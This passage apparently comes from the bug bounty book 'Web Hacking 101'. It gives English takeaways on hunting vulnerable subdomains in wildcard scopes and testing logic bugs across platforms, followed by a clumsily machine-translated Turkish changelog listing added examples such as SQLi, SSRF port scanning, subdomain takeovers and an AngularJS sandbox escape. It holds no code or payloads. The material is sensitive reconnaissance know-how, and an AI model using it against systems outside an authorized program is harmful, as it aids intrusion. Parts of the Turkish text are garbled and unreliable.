Sub domains and broader network configurations represent great potential for hacking. If you notice that a program is including *.SITE.com in it's scope, try to find sub domains that may be vulnerable rather than going after the low hanging fruit on the main site which everyone maybe searching for. It's also worth your time to familiarize yourself with tools like Nmap, eyewitness, knockpy, etc. which will help you follow in Andy's shoes.

Sayfa 247

I included this example because it demonstrates two things - first, while it does reduce the impact of the vulnerability, there are times that reporting a bug which assumes an attacker knows a victim's user name and password is acceptable provided you can explain what the vulnerability is and demonstrate it's severity.

Secondly, when testing for application logic related vulnerabilities, consider the different ways an application could be accessed and whether security related behaviours are consistent across platforms. In this case, it was browsers and mobile applications but it also could include third party apps or API endpoints.

27. Ek B - Web Hacking 101 Değişiklikler

11 Mart 2018

XSS, SSTI, SQLi, SSRF, Yarış Koşulları için yeniden açıklama yazdı

Yeni Orange Uber SQLi örneği eklendi

Yeni SSRF portu tarama örneği eklendi

Keybase ve HackerOne olmak üzere iki yeni yarış koşulu örneği eklendi

11 Temmuz 2017

Yeni Google SSRF güvenlik açığı eklendi

12 Mart 2017

Kitapta küçük yazım hatası ve gramer düzeltmeleri

Yeniden Yönlendirme, HPP, CSRF, HTML Enjeksiyonu, CRLF bölüm açıklamalarını yeniden yazdı ve revize edilmiş ilişkili örnekler

18 Kasım 2016

Uber alt alan adı devralma örneği eklendi

Google Sheets OAuth örneği eklendi

11 Kasım 2016

Yeni IDOR örnekleri, Moneybird ve Twitter eklendi

Twitter'dan yeni Application Logic örneği eklendi

Sayfa 249

Yeni OAuth Chapter ve bir örnek eklendi

Alt Etki Alanı'ndan Tasfiye Edilen Philippe'in Facebook OAuth örneği
OAuth

6 Kasım 2016

Bölümleri yeniden sipariş ettim ve Yarış Koşullarını ve IDOR'yu kendileri olarak ekledi bölümler

Araçlar bölümüne GitRob ve RaceTheWeb eklendi

HackerOne'dan yeni Yarış Koşulları örneği eklendi, davet kabul edildi

3 Ekim 2016

İki yeni Uzaktan Kod Yürütme güvenlik açığı eklendi

Facebook örneğini netleştirmek için XXE bölümü güncellendi

Çeşitli yazım hatası düzeltmeleri

21 Eylül 2016

Eklenen yeni alt etki alanı örneği ele aldı, # 6 - api.legalrobot.com

Take Aways'in Ek B'si Eklendi

23 Ağustos 2016

Eklenen yeni alt etki alanı örneği ele aldı, # 5 - Snapcchat fastly.sc devralınması

Yeni araçlar eklendi: XSSHunter, Censys, OnlineHashCrack, Ysoserial

1.5.7 sanal alan kaçışını da içeren AngularJS için yeni kod sayfası eklendi